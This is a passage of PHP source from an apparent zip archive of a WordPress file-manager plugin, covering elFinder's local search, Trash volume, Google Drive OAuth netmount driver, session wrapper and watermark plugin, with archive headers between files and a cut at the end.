                    array($this, 'localFileSystemSearchIteratorFilter')
                ),
                RecursiveIteratorIterator::SELF_FIRST,
                RecursiveIteratorIterator::CATCH_GET_CHILD
            );
            foreach ($iterator as $key => $node) {
                if ($timeout && ($this->error || $timeout < time())) {
                    !$this->error && $this->setError(elFinder::ERROR_SEARCH_TIMEOUT, $this->path($this->encode($node->getPath)));
                    break;
                }
                if ($node->isDir()) {
                    if ($this->stripos($node->getFilename(), $q) !== false) {
                        $match[] = $key;
                    }
                } else {
                    $match[] = $key;
                }
            }
        } catch (Exception $e) {
        }

        if ($match) {
            foreach ($match as $p) {
                if ($timeout && ($this->error || $timeout < time())) {
                    !$this->error && $this->setError(elFinder::ERROR_SEARCH_TIMEOUT, $this->path($this->encode(dirname($p))));
                    break;
                }

                $stat = $this->stat($p);

                if (!$stat) { // invalid links
                    continue;
                }

                if (!empty($stat['hidden']) || !$this->mimeAccepted($stat['mime'], $mimes)) {
                    continue;
                }

                if ((!$mimes || $stat['mime'] !== 'directory')) {
                    $stat['path'] = $this->path($stat['hash']);
                    if ($this->URL && !isset($stat['url'])) {
                        $_path = str_replace(DIRECTORY_SEPARATOR, '/', substr($p, strlen($this->root) + 1));
                        $stat['url'] = $this->URL . str_replace('%2F', '/', rawurlencode($_path));
                    }

                    $result[] = $stat;
                }
            }
        }

        return $result;
    }

    /******************** Original local functions ************************
     *
     * @param $file
     * @param $key
     * @param $iterator
     *
     * @return bool
     */

    public function localFileSystemSearchIteratorFilter($file, $key, $iterator)
    {
        /* @var FilesystemIterator $file */
        /* @var RecursiveDirectoryIterator $iterator */
        $name = $file->getFilename();
        if ($this->doSearchCurrentQuery['excludes']) {
            foreach ($this->doSearchCurrentQuery['excludes'] as $exclude) {
                if ($this->stripos($name, $exclude) !== false) {
                    return false;
                }
            }
        }
        if ($iterator->hasChildren()) {
            if ($this->options['searchExDirReg'] && preg_match($this->options['searchExDirReg'], $key)) {
                return false;
            }
            return (bool)$this->attr($key, 'read', null, true);
        }
        return ($this->stripos($name, $this->doSearchCurrentQuery['q']) === false) ? false : true;
    }

    /**
     * Creates a symbolic link
     *
     * @param      string   $target  The target
     * @param      string   $link    The link
     *
     * @return     boolean  ( result of symlink() )
     */
    protected function localFileSystemSymlink($target, $link)
    {
        $res = false;
        $errlev = error_reporting();
        error_reporting($errlev ^ E_WARNING);
        if ($res = symlink(realpath($target), $link)) {
            $res = is_readable($link);
        }
        error_reporting($errlev);
        return $res;
    }
} // END class 
PK���[�-r//Jwp-content/plugins/fileorganizer/manager/php/elFinderVolumeTrash.class.phpnu�[���<?php

/**
 * elFinder driver for trash bin at local filesystem.
 *
 * @author NaokiSawada
 **/
class elFinderVolumeTrash extends elFinderVolumeLocalFileSystem
{
    /**
     * Driver id
     * Must be started from letter and contains [a-z0-9]
     * Used as part of volume id.
     *
     * @var string
     **/
    protected $driverId = 't';

    public function __construct()
    {
        parent::__construct();
        // original option of the Trash
        $this->options['lockEverything'] = false; // Lock all items in the trash to disable delete, move, rename.

        // common options as the volume driver
        $this->options['alias'] = 'Trash';
        $this->options['quarantine'] = '';
        $this->options['rootCssClass'] = 'elfinder-navbar-root-trash';
        $this->options['copyOverwrite'] = false;
        $this->options['uiCmdMap'] = array('paste' => 'hidden', 'mkdir' => 'hidden', 'copy' => 'restore');
        $this->options['disabled'] = array('archive', 'duplicate', 'edit', 'extract', 'mkfile', 'places', 'put', 'rename', 'resize', 'upload');
    }

    public function mount(array $opts)
    {
        if ($this->options['lockEverything']) {
            if (!is_array($opts['attributes'])) {
                $opts['attributes'] = array();
            }
            $attr = array(
                'pattern' => '/./',
                'locked' => true,
            );
            array_unshift($opts['attributes'], $attr);
        }
        // force set `copyJoin` to true
        $opts['copyJoin'] = true;

        return parent::mount($opts);
    }
}
PK���[�|�I;I;Uwp-content/plugins/fileorganizer/manager/php/elFinderFlysystemGoogleDriveNetmount.phpnu�[���<?php

use League\Flysystem\Filesystem;
use League\Flysystem\Adapter\Local;
use League\Flysystem\Cached\CachedAdapter;
use League\Flysystem\Cached\Storage\Adapter as ACache;
use Hypweb\Flysystem\GoogleDrive\GoogleDriveAdapter;
use Hypweb\Flysystem\Cached\Extra\Hasdir;
use Hypweb\Flysystem\Cached\Extra\DisableEnsureParentDirectories;
use Hypweb\elFinderFlysystemDriverExt\Driver as ExtDriver;

elFinder::$netDrivers['googledrive'] = 'FlysystemGoogleDriveNetmount';

if (!class_exists('elFinderVolumeFlysystemGoogleDriveCache', false)) {
    class elFinderVolumeFlysystemGoogleDriveCache extends ACache
    {
        use Hasdir;
        use DisableEnsureParentDirectories;
    }
}

class elFinderVolumeFlysystemGoogleDriveNetmount extends ExtDriver
{

    public function __construct()
    {
        parent::__construct();

        $opts = array(
            'acceptedName' => '#^[^/\\?*:|"<>]*[^./\\?*:|"<>]$#',
            'rootCssClass' => 'elfinder-navbar-root-googledrive',
            'gdAlias' => '%s@GDrive',
            'gdCacheDir' => __DIR__ . '/.tmp',
            'gdCachePrefix' => 'gd-',
            'gdCacheExpire' => 600
        );

        $this->options = array_merge($this->options, $opts);
    }

    /**
     * Prepare driver before mount volume.
     * Return true if volume is ready.
     *
     * @return bool
     **/
    protected function init()
    {
        if (empty($this->options['icon'])) {
            $this->options['icon'] = true;
        }
        if ($res = parent::init()) {
            if ($this->options['icon'] === true) {
                unset($this->options['icon']);
            }
            // enable command archive
            $this->options['useRemoteArchive'] = true;
        }
        return $res;
    }

    /**
     * Prepare
     * Call from elFinder::netmout() before volume->mount()
     *
     * @param $options
     *
     * @return Array
     * @author Naoki Sawada
     */
    public function netmountPrepare($options)
    {
        if (empty($options['client_id']) && defined('ELFINDER_GOOGLEDRIVE_CLIENTID')) {
            $options['client_id'] = ELFINDER_GOOGLEDRIVE_CLIENTID;
        }
        if (empty($options['client_secret']) && defined('ELFINDER_GOOGLEDRIVE_CLIENTSECRET')) {
            $options['client_secret'] = ELFINDER_GOOGLEDRIVE_CLIENTSECRET;
        }

        if (!isset($options['pass'])) {
            $options['pass'] = '';
        }

        try {
            $client = new \Google_Client();
            $client->setClientId($options['client_id']);
            $client->setClientSecret($options['client_secret']);

            if ($options['pass'] === 'reauth') {
                $options['pass'] = '';
                $this->session->set('GoogleDriveAuthParams', [])->set('GoogleDriveTokens', []);
            } else if ($options['pass'] === 'googledrive') {
                $options['pass'] = '';
            }

            $options = array_merge($this->session->get('GoogleDriveAuthParams', []), $options);

            if (!isset($options['access_token'])) {
                $options['access_token'] = $this->session->get('GoogleDriveTokens', []);
                $this->session->remove('GoogleDriveTokens');
            }
            $aToken = $options['access_token'];

            $rootObj = $service = null;
            if ($aToken) {
                try {
                    $client->setAccessToken($aToken);
                    if ($client->isAccessTokenExpired()) {
                        $aToken = array_merge($aToken, $client->fetchAccessTokenWithRefreshToken());
                        $client->setAccessToken($aToken);
                    }
                    $service = new \Google_Service_Drive($client);
                    $rootObj = $service->files->get('root');

                    $options['access_token'] = $aToken;
                    $this->session->set('GoogleDriveAuthParams', $options);

                } catch (Exception $e) {
                    $aToken = [];
                    $options['access_token'] = [];
                    if ($options['user'] !== 'init') {
                        $this->session->set('GoogleDriveAuthParams', $options);
                        return array('exit' => true, 'error' => elFinder::ERROR_REAUTH_REQUIRE);
                    }
                }

            }

            $itpCare = isset($options['code']);
            $code = $itpCare? $options['code'] : (isset($_GET['code'])? $_GET['code'] : '');
            if ($code || $options['user'] === 'init') {
                if (empty($options['url'])) {
                    $options['url'] = elFinder::getConnectorUrl();
                }

                if (isset($options['id'])) {
                    $callback = $options['url'] . (strpos($options['url'], '?') !== false? '&' : '?') . 'cmd=netmount&protocol=googledrive&host=' . ($options['id'] === 'elfinder'? '1' : $options['id']);
                    $client->setRedirectUri($callback);
                }

                if (!$aToken && empty($code)) {
                    $client->setScopes([Google_Service_Drive::DRIVE]);
                    if (!empty($options['offline'])) {
                        $client->setApprovalPrompt('force');
                        $client->setAccessType('offline');
                    }
                    $url = $client->createAuthUrl();

                    $html = '<input id="elf-volumedriver-googledrive-host-btn" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only" value="{msg:btnApprove}" type="button">';
                    $html .= '<script>
                        $("#' . $options['id'] . '").elfinder("instance").trigger("netmount", {protocol: "googledrive", mode: "makebtn", url: "' . $url . '"});
                    </script>';
                    if (empty($options['pass']) && $options['host'] !== '1') {
                        $options['pass'] = 'return';
                        $this->session->set('GoogleDriveAuthParams', $options);
                        return array('exit' => true, 'body' => $html);
                    } else {
                        $out = array(
                            'node' => $options['id'],
                            'json' => '{"protocol": "googledrive", "mode": "makebtn", "body" : "' . str_replace($html, '"', '\\"') . '", "error" : "' . elFinder::ERROR_ACCESS_DENIED . '"}',
                            'bind' => 'netmount'
                        );
                        return array('exit' => 'callback', 'out' => $out);
                    }
                } else {
                    if ($code) {
                        if (!empty($options['id'])) {
                            $aToken = $client->fetchAccessTokenWithAuthCode($code);
                            $options['access_token'] = $aToken;
                            unset($options['code']);
                            $this->session->set('GoogleDriveTokens', $aToken)->set('GoogleDriveAuthParams', $options);
                            $out = array(
                                'node' => $options['id'],
                                'json' => '{"protocol": "googledrive", "mode": "done", "reset": 1}',
                                'bind' => 'netmount'
                            );
                        } else {
                            $nodeid = ($_GET['host'] === '1')? 'elfinder' : $_GET['host'];
                            $out = array(
                                'node' => $nodeid,
                                'json' => json_encode(array(
                                    'protocol' => 'googledrive',
                                    'host' => $nodeid,
                                    'mode' => 'redirect',
                                    'options' => array(
                                        'id' => $nodeid,
                                        'code'=> $code
                                    )
                                )),
                                'bind' => 'netmount'
                            );
                        }
                        if (!$itpCare) {
                            return array('exit' => 'callback', 'out' => $out);
                        } else {
                            return array('exit' => true, 'body' => $out['json']);
                        }
                    }
                    $folders = [];
                    foreach ($service->files->listFiles([
                        'pageSize' => 1000,
                        'q' => 'trashed = false and mimeType = "application/vnd.google-apps.folder"'
                    ]) as $f) {
                        $folders[$f->getId()] = $f->getName();
                    }
                    natcasesort($folders);
                    $folders = ['root' => $rootObj->getName()] + $folders;
                    $folders = json_encode($folders);
                    $json = '{"protocol": "googledrive", "mode": "done", "folders": ' . $folders . '}';
                    $options['pass'] = 'return';
                    $html = 'Google.com';
                    $html .= '<script>
                        $("#' . $options['id'] . '").elfinder("instance").trigger("netmount", ' . $json . ');
                    </script>';
                    $this->session->set('GoogleDriveAuthParams', $options);
                    return array('exit' => true, 'body' => $html);
                }
            }
        } catch (Exception $e) {
            $this->session->remove('GoogleDriveAuthParams')->remove('GoogleDriveTokens');
            if (empty($options['pass'])) {
                return array('exit' => true, 'body' => '{msg:' . elFinder::ERROR_ACCESS_DENIED . '}' . ' ' . $e->getMessage());
            } else {
                return array('exit' => true, 'error' => [elFinder::ERROR_ACCESS_DENIED, $e->getMessage()]);
            }
        }

        if (!$aToken) {
            return array('exit' => true, 'error' => elFinder::ERROR_REAUTH_REQUIRE);
        }

        if ($options['path'] === '/') {
            $options['path'] = 'root';
        }

        try {
            $file = $service->files->get($options['path']);
            $options['alias'] = sprintf($this->options['gdAlias'], $file->getName());
            if (!empty($this->options['netkey'])) {
                elFinder::$instance->updateNetVolumeOption($this->options['netkey'], 'alias', $this->options['alias']);
            }
        } catch (Google_Service_Exception $e) {
            $err = json_decode($e->getMessage(), true);
            if (isset($err['error']) && $err['error']['code'] == 404) {
                return array('exit' => true, 'error' => [elFinder::ERROR_TRGDIR_NOT_FOUND, $options['path']]);
            } else {
                return array('exit' => true, 'error' => $e->getMessage());
            }
        } catch (Exception $e) {
            return array('exit' => true, 'error' => $e->getMessage());
        }

        foreach (['host', 'user', 'pass', 'id', 'offline'] as $key) {
            unset($options[$key]);
        }

        return $options;
    }

    /**
     * process of on netunmount
     * Drop table `dropbox` & rm thumbs
     *
     * @param $netVolumes
     * @param $key
     *
     * @return bool
     * @internal param array $options
     */
    public function netunmount($netVolumes, $key)
    {
        $cache = $this->options['gdCacheDir'] . DIRECTORY_SEPARATOR . $this->options['gdCachePrefix'] . $this->netMountKey;
        if (file_exists($cache) && is_writeable($cache)) {
            unlink($cache);
        }
        if ($tmbs = glob($this->tmbPath . DIRECTORY_SEPARATOR . $this->netMountKey . '*')) {
            foreach ($tmbs as $file) {
                unlink($file);
            }
        }
        return true;
    }

    /**
     * "Mount" volume.
     * Return true if volume available for read or write,
     * false - otherwise
     *
     * @param array $opts
     *
     * @return bool
     * @author Naoki Sawada
     */
    public function mount(array $opts)
    {
        $creds = null;
        if (isset($opts['access_token'])) {
            $this->netMountKey = md5(join('-', array('googledrive', $opts['path'], (isset($opts['access_token']['refresh_token']) ? $opts['access_token']['refresh_token'] : $opts['access_token']['access_token']))));
        }

        $client = new \Google_Client();
        $client->setClientId($opts['client_id']);
        $client->setClientSecret($opts['client_secret']);

        if (!empty($opts['access_token'])) {
            $client->setAccessToken($opts['access_token']);
        }
        if ($this->needOnline && $client->isAccessTokenExpired()) {
            try {
                $creds = $client->fetchAccessTokenWithRefreshToken();
            } catch (LogicException $e) {
                $this->session->remove('GoogleDriveAuthParams');
                throw $e;
            }
        }

        $service = new \Google_Service_Drive($client);

        // If path is not set, use the root
        if (!isset($opts['path']) || $opts['path'] === '') {
            $opts['path'] = 'root';
        }

        $googleDrive = new GoogleDriveAdapter($service, $opts['path'], ['useHasDir' => true]);

        $opts['fscache'] = null;
        if ($this->options['gdCacheDir'] && is_writeable($this->options['gdCacheDir'])) {
            if ($this->options['gdCacheExpire']) {
                $opts['fscache'] = new elFinderVolumeFlysystemGoogleDriveCache(new Local($this->options['gdCacheDir']), $this->options['gdCachePrefix'] . $this->netMountKey, $this->options['gdCacheExpire']);
            }
        }
        if ($opts['fscache']) {
            $filesystem = new Filesystem(new CachedAdapter($googleDrive, $opts['fscache']));
        } else {
            $filesystem = new Filesystem($googleDrive);
        }

        $opts['driver'] = 'FlysystemExt';
        $opts['filesystem'] = $filesystem;
        $opts['separator'] = '/';
        $opts['checkSubfolders'] = true;
        if (!isset($opts['alias'])) {
            $opts['alias'] = 'GoogleDrive';
        }

        if ($res = parent::mount($opts)) {
            // update access_token of session data
            if ($creds) {
                $netVolumes = $this->session->get('netvolume');
                $netVolumes[$this->netMountKey]['access_token'] = array_merge($netVolumes[$this->netMountKey]['access_token'], $creds);
                $this->session->set('netvolume', $netVolumes);
            }
        }

        return $res;
    }

    /**
     * @inheritdoc
     */
    protected function tmbname($stat)
    {
        return $this->netMountKey . substr(substr($stat['hash'], strlen($this->id)), -38) . $stat['ts'] . '.png';
    }

    /**
     * Return debug info for client.
     *
     * @return array
     **/
    public function debug()
    {
        $res = parent::debug();
        if (!empty($this->options['netkey']) && empty($this->options['refresh_token']) && $this->options['access_token'] && isset($this->options['access_token']['refresh_token'])) {
            $res['refresh_token'] = $this->options['access_token']['refresh_token'];
        }

        return $res;
    }
}
PK���[7g��<"<"@wp-content/plugins/fileorganizer/manager/php/elFinderSession.phpnu�[���<?php

/**
 * elFinder - file manager for web.
 * Session Wrapper Class.
 *
 * @package elfinder
 * @author  Naoki Sawada
 **/

class elFinderSession implements elFinderSessionInterface
{
    /**
     * A flag of session started
     *
     * @var        boolean
     */
    protected $started = false;

    /**
     * To fix PHP bug that duplicate Set-Cookie header to be sent
     *
     * @var        boolean
     * @see        https://bugs.php.net/bug.php?id=75554
     */
    protected $fixCookieRegist = false;

    /**
     * Array of session keys of this instance
     *
     * @var        array
     */
    protected $keys = array();

    /**
     * Is enabled base64encode
     *
     * @var        boolean
     */
    protected $base64encode = false;

    /**
     * Default options array
     *
     * @var        array
     */
    protected $opts = array(
        'base64encode' => false,
        'keys' => array(
            'default' => 'elFinderCaches',
            'netvolume' => 'elFinderNetVolumes'
        ),
        'cookieParams' => array()
    );

    /**
     * Constractor
     *
     * @param      array $opts The options
     *
     * @return     self    Instanse of this class
     */
    public function __construct($opts)
    {
        $this->opts = array_merge($this->opts, $opts);
        $this->base64encode = !empty($this->opts['base64encode']);
        $this->keys = $this->opts['keys'];
        if (function_exists('apache_get_version') || $this->opts['cookieParams']) {
            $this->fixCookieRegist = true;
        }
    }

    /**
     * {@inheritdoc}
     */
    public function get($key, $empty = null)
    {
        $closed = false;
        if (!$this->started) {
            $closed = true;
            $this->start();
        }

        $data = null;

        if ($this->started) {
            $session =& $this->getSessionRef($key);
            $data = $session;
            if ($data && $this->base64encode) {
                $data = $this->decodeData($data);
            }
        }

        $checkFn = null;
        if (!is_null($empty)) {
            if (is_string($empty)) {
                $checkFn = 'is_string';
            } elseif (is_array($empty)) {
                $checkFn = 'is_array';
            } elseif (is_object($empty)) {
                $checkFn = 'is_object';
            } elseif (is_float($empty)) {
                $checkFn = 'is_float';
            } elseif (is_int($empty)) {
                $checkFn = 'is_int';
            }
        }

        if (is_null($data) || ($checkFn && !$checkFn($data))) {
            $session = $data = $empty;
        }

        if ($closed) {
            $this->close();
        }

        return $data;
    }

    /**
     * {@inheritdoc}
     */
    public function start()
    {
        set_error_handler(array($this, 'session_start_error'), E_NOTICE | E_WARNING);

        // apache2 SAPI has a bug of session cookie register
        // see https://bugs.php.net/bug.php?id=75554
        // see https://github.com/php/php-src/pull/3231
        if ($this->fixCookieRegist === true) {
            if ((int)ini_get('session.use_cookies') === 1) {
                if (ini_set('session.use_cookies', 0) === false) {
                    $this->fixCookieRegist = false;
                }
            }
        }

        if (version_compare(PHP_VERSION, '5.4.0', '>=')) {
            if (session_status() !== PHP_SESSION_ACTIVE) {
                session_start();
            }
        } else {
            session_start();
        }
        $this->started = session_id() ? true : false;

        restore_error_handler();

        return $this;
    }

    /**
     * Get variable reference of $_SESSION
     *
     * @param string $key key of $_SESSION array
     *
     * @return mixed|null
     */
    protected function & getSessionRef($key)
    {
        $session = null;
        if ($this->started) {
            list($cat, $name) = array_pad(explode('.', $key, 2), 2, null);
            if (is_null($name)) {
                if (!isset($this->keys[$cat])) {
                    $name = $cat;
                    $cat = 'default';
                }
            }
            if (isset($this->keys[$cat])) {
                $cat = $this->keys[$cat];
            } else {
                $name = $cat . '.' . $name;
                $cat = $this->keys['default'];
            }
            if (is_null($name)) {
                if (!isset($_SESSION[$cat])) {
                    $_SESSION[$cat] = null;
                }
                $session =& $_SESSION[$cat];
            } else {
                if (!isset($_SESSION[$cat]) || !is_array($_SESSION[$cat])) {
                    $_SESSION[$cat] = array();
                }
                if (!isset($_SESSION[$cat][$name])) {
                    $_SESSION[$cat][$name] = null;
                }
                $session =& $_SESSION[$cat][$name];
            }
        }
        return $session;
    }

    /**
     * base64 decode of session val
     *
     * @param $data
     *
     * @return bool|mixed|string|null
     */
    protected function decodeData($data)
    {
        if ($this->base64encode) {
            if (is_string($data)) {
                if (($data = base64_decode($data)) !== false) {
                    $data = unserialize($data);
                } else {
                    $data = null;
                }
            } else {
                $data = null;
            }
        }
        return $data;
    }

    /**
     * {@inheritdoc}
     */
    public function close()
    {
        if ($this->started) {
            if ($this->fixCookieRegist === true) {
                // regist cookie only once for apache2 SAPI
                $cParm = session_get_cookie_params();
                if ($this->opts['cookieParams'] && is_array($this->opts['cookieParams'])) {
                    $cParm = array_merge($cParm, $this->opts['cookieParams']);
                }
                if (version_compare(PHP_VERSION, '7.3', '<')) {
                    setcookie(session_name(), session_id(), 0, $cParm['path'] . (!empty($cParm['SameSite'])? '; SameSite=' . $cParm['SameSite'] : ''), $cParm['domain'], $cParm['secure'], $cParm['httponly']);
                } else {
                    $allows = array('expires' => true, 'path' => true, 'domain' => true, 'secure' => true, 'httponly' => true, 'samesite' => true);
                    foreach(array_keys($cParm) as $_k) {
                        if (!isset($allows[$_k])) {
                            unset($cParm[$_k]);
                        }
                    }
                    setcookie(session_name(), session_id(), $cParm);
                }
                $this->fixCookieRegist = false;
            }
            session_write_close();
        }
        $this->started = false;

        return $this;
    }

    /**
     * {@inheritdoc}
     */
    public function set($key, $data)
    {
        $closed = false;
        if (!$this->started) {
            $closed = true;
            $this->start();
        }
        $session =& $this->getSessionRef($key);
        if ($this->base64encode) {
            $data = $this->encodeData($data);
        }
        $session = $data;

        if ($closed) {
            $this->close();
        }

        return $this;
    }

    /**
     * base64 encode for session val
     *
     * @param $data
     *
     * @return string
     */
    protected function encodeData($data)
    {
        if ($this->base64encode) {
            $data = base64_encode(serialize($data));
        }
        return $data;
    }

    /**
     * {@inheritdoc}
     */
    public function remove($key)
    {
        $closed = false;
        if (!$this->started) {
            $closed = true;
            $this->start();
        }

        list($cat, $name) = array_pad(explode('.', $key, 2), 2, null);
        if (is_null($name)) {
            if (!isset($this->keys[$cat])) {
                $name = $cat;
                $cat = 'default';
            }
        }
        if (isset($this->keys[$cat])) {
            $cat = $this->keys[$cat];
        } else {
            $name = $cat . '.' . $name;
            $cat = $this->keys['default'];
        }
        if (is_null($name)) {
            unset($_SESSION[$cat]);
        } else {
            if (isset($_SESSION[$cat]) && is_array($_SESSION[$cat])) {
                unset($_SESSION[$cat][$name]);
            }
        }

        if ($closed) {
            $this->close();
        }

        return $this;
    }

    /**
     * sessioin error handler (Only for suppression of error at session start)
     *
     * @param $errno
     * @param $errstr
     */
    protected function session_start_error($errno, $errstr)
    {
    }
}
PK���[�TƳ@G@GIwp-content/plugins/fileorganizer/manager/php/plugins/Watermark/plugin.phpnu�[���<?php

/**
 * elFinder Plugin Watermark
 * Print watermark on file upload.
 * ex. binding, configure on connector options
 *    $opts = array(
 *        'bind' => array(
 *            'upload.presave' => array(
 *                'Plugin.Watermark.onUpLoadPreSave'
 *            )
 *        ),
 *        // global configure (optional)
 *        'plugin' => array(
 *            'Watermark' => array(
 *                'enable'         => true,       // For control by volume driver
 *                'source'         => 'logo.png', // Path to Water mark image
 *                'ratio'          => 0.2,        // Ratio to original image (ratio > 0 and ratio <= 1)
 *                'position'       => 'RB',       // Position L(eft)/C(enter)/R(ight) and T(op)/M(edium)/B(ottom)
 *                'marginX'        => 5,          // Margin horizontal pixel
 *                'marginY'        => 5,          // Margin vertical pixel
 *                'quality'        => 95,         // JPEG image save quality
 *                'transparency'   => 70,         // Water mark image transparency ( other than PNG )
 *                'targetType'     => IMG_GIF|IMG_JPG|IMG_PNG|IMG_WBMP, // Target image formats ( bit-field )
 *                'targetMinPixel' => 200,        // Target image minimum pixel size
 *                'interlace'      => IMG_GIF|IMG_JPG, // Set interlacebit image formats ( bit-field )
 *                'offDropWith'    => null,       // Enabled by default. To disable it if it is dropped with pressing the meta key
 *                                                // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
 *                                                // In case of using any key, specify it as an array
 *                'onDropWith'     => null        // Disabled by default. To enable it if it is dropped with pressing the meta key
 *                                                // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
 *                                                // In case of using any key, specify it as an array
 *            )
 *        ),
 *        // each volume configure (optional)
 *        'roots' => array(
 *            array(
 *                'driver' => 'LocalFileSystem',
 *                'path'   => '/path/to/files/',
 *                'URL'    => 'http://localhost/to/files/'
 *                'plugin' => array(
 *                    'Watermark' => array(
 *                        'enable'         => true,       // For control by volume driver
 *                        'source'         => 'logo.png', // Path to Water mark image
 *                        'ratio'          => 0.2,        // Ratio to original image (ratio > 0 and ratio <= 1)
 *                        'position'       => 'RB',       // Position L(eft)/C(enter)/R(ight) and T(op)/M(edium)/B(ottom)
 *                        'marginX'        => 5,          // Margin horizontal pixel
 *                        'marginY'        => 5,          // Margin vertical pixel
 *                        'quality'        => 95,         // JPEG image save quality
 *                        'transparency'   => 70,         // Water mark image transparency ( other than PNG )
 *                        'targetType'     => IMG_GIF|IMG_JPG|IMG_PNG|IMG_WBMP, // Target image formats ( bit-field )
 *                        'targetMinPixel' => 200,        // Target image minimum pixel size
 *                        'interlace'      => IMG_GIF|IMG_JPG, // Set interlacebit image formats ( bit-field )
 *                        'offDropWith'    => null,       // Enabled by default. To disable it if it is dropped with pressing the meta key
 *                                                        // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
 *                                                        // In case of using any key, specify it as an array
 *                        'onDropWith'     => null        // Disabled by default. To enable it if it is dropped with pressing the meta key
 *                                                        // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
 *                                                        // In case of using any key, specify it as an array
 *                    )
 *                )
 *            )
 *        )
 *    );
 *
 * @package elfinder
 * @author  Naoki Sawada
 * @license New BSD
 */
class elFinderPluginWatermark extends elFinderPlugin
{

    private $watermarkImgInfo = null;

    public function __construct($opts)
    {
        $defaults = array(
            'enable' => true,       // For control by volume driver
            'source' => 'logo.png', // Path to Water mark image
            'ratio' => 0.2,        // Ratio to original image (ratio > 0 and ratio <= 1)
            'position' => 'RB',       // Position L(eft)/C(enter)/R(ight) and T(op)/M(edium)/B(ottom)
            'marginX' => 5,          // Margin horizontal pixel
            'marginY' => 5,          // Margin vertical pixel
            'quality' => 95,         // JPEG image save quality
            'transparency' => 70,         // Water mark image transparency ( other than PNG )
            'targetType' => IMG_GIF | IMG_JPG | IMG_PNG | IMG_WBMP, // Target image formats ( bit-field )
            'targetMinPixel' => 200,        // Target image minimum pixel size
            'interlace' => IMG_GIF | IMG_JPG, // Set interlacebit image formats ( bit-field )
            'offDropWith' => null,       // To disable it if it is dropped with pressing the meta key
            // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
            // In case of using any key, specify it as an array
            'marginRight' => 0,          // Deprecated - marginX should be used
            'marginBottom' => 0,          // Deprecated - marginY should be used
            'disableWithContentSaveId' => true // Disable on URL upload with post data "contentSaveId"
        );

        $this->opts = array_merge($defaults, $opts);

    }

    public function onUpLoadPreSave(&$thash, &$name, $src, $elfinder, $volume)
    {
        if (!$src) {
            return false;
        }

        $opts = $this->getCurrentOpts($volume);

        if (!$this->iaEnabled($opts, $elfinder)) {
            return false;
        }

        $imageType = null;
        $srcImgInfo = null;
        if (extension_loaded('fileinfo') && function_exists('mime_content_type')) {
            $mime = mime_content_type($src);
            if (substr($mime, 0, 5) !== 'image') {
                return false;
            }
        }
        if (extension_loaded('exif') && function_exists('exif_imagetype')) {
            $imageType = exif_imagetype($src);
            if ($imageType === false) {
                return false;
            }
        } else {
            $srcImgInfo = getimagesize($src);
            if ($srcImgInfo === false) {
                return false;
            }
            $imageType = $srcImgInfo[2];
        }

        // check target image type
        $imgTypes = array(
            IMAGETYPE_GIF => IMG_GIF,
            IMAGETYPE_JPEG => IMG_JPEG,
            IMAGETYPE_PNG => IMG_PNG,
            IMAGETYPE_BMP => IMG_WBMP,
            IMAGETYPE_WBMP => IMG_WBMP
        );
        if (!isset($imgTypes[$imageType]) || !($opts['targetType'] & $imgTypes[$imageType])) {
            return false;
        }

        // check Animation Gif
        if ($imageType === IMAGETYPE_GIF && elFinder::isAnimationGif($src)) {
            return false;
        }
        // check Animation Png
        if ($imageType === IMAGETYPE_PNG && elFinder::isAnimationPng($src)) {
            return false;
        }
        // check water mark image
        if (!file_exists($opts['source'])) {
            $opts['source'] = dirname(__FILE__) . "/" . $opts['source'];
        }
        if (is_readable($opts['source'])) {
            $watermarkImgInfo = getimagesize($opts['source']);
            if (!$watermarkImgInfo) {
                return false;
            }
        } else {
            return false;
        }

        if (!$srcImgInfo) {
            $srcImgInfo = getimagesize($src);
        }

        $watermark = $opts['source'];
        $quality = $opts['quality'];
        $transparency = $opts['transparency'];

        // check target image size
        if ($opts['targetMinPixel'] > 0 && $opts['targetMinPixel'] > min($srcImgInfo[0], $srcImgInfo[1])) {
            return false;
        }

        $watermark_width = $watermarkImgInfo[0];
        $watermark_height = $watermarkImgInfo[1];

        // Specified as a ratio to the image size
        if ($opts['ratio'] && $opts['ratio'] > 0 && $opts['ratio'] <= 1) {
            $maxW = $srcImgInfo[0] * $opts['ratio'] - ($opts['marginX'] * 2);
            $maxH = $srcImgInfo[1] * $opts['ratio'] - ($opts['marginY'] * 2);
            $dx = $dy = 0;
            if (($maxW >= $watermarkImgInfo[0] && $maxH >= $watermarkImgInfo[0]) || ($maxW <= $watermarkImgInfo[0] && $maxH <= $watermarkImgInfo[0])) {
                $dx = abs($srcImgInfo[0] - $watermarkImgInfo[0]);
                $dy = abs($srcImgInfo[1] - $watermarkImgInfo[1]);
            } else if ($maxW < $watermarkImgInfo[0]) {
                $dx = -1;
            } else {
                $dy = -1;
            }
            if ($dx < $dy) {
                $ww = $maxW;
                $wh = $watermarkImgInfo[1] * ($ww / $watermarkImgInfo[0]);
            } else {
                $wh = $maxH;
                $ww = $watermarkImgInfo[0] * ($wh / $watermarkImgInfo[1]);
            }
            $watermarkImgInfo[0] = $ww;
            $watermarkImgInfo[1] = $wh;
        } else {
            $opts['ratio'] = null;
        }

        $opts['position'] = strtoupper($opts['position']);

        // Set vertical position
        if (strpos($opts['position'], 'T') !== false) {
            // Top
            $dest_x = $opts['marginX'];
        } else if (strpos($opts['position'], 'M') !== false) {
            // Middle
            $dest_x = ($srcImgInfo[0] - $watermarkImgInfo[0]) / 2;
        } else {
            // Bottom
            $dest_x = $srcImgInfo[0] - $watermarkImgInfo[0] - max($opts['marginBottom'], $opts['marginX']);
        }

        // Set horizontal position
        if (strpos($opts['position'], 'L') !== false) {
            // Left
            $dest_y = $opts['marginY'];
        } else if (strpos($opts['position'], 'C') !== false) {
            // Middle
            $dest_y = ($srcImgInfo[1] - $watermarkImgInfo[1]) / 2;
        } else {
            // Right
            $dest_y = $srcImgInfo[1] - $watermarkImgInfo[1] - max($opts['marginRight'], $opts['marginY']);
        }


        // check interlace
        $opts['interlace'] = ($opts['interlace'] & $imgTypes[$imageType]);

        // Repeated use of Imagick::compositeImage() may cause PHP to hang, so disable it
        //if (class_exists('Imagick', false)) {
        //    return $this->watermarkPrint_imagick($src, $watermark, $dest_x, $dest_y, $quality, $transparency, $watermarkImgInfo, $opts);
        //} else {
            elFinder::expandMemoryForGD(array($watermarkImgInfo, $srcImgInfo));
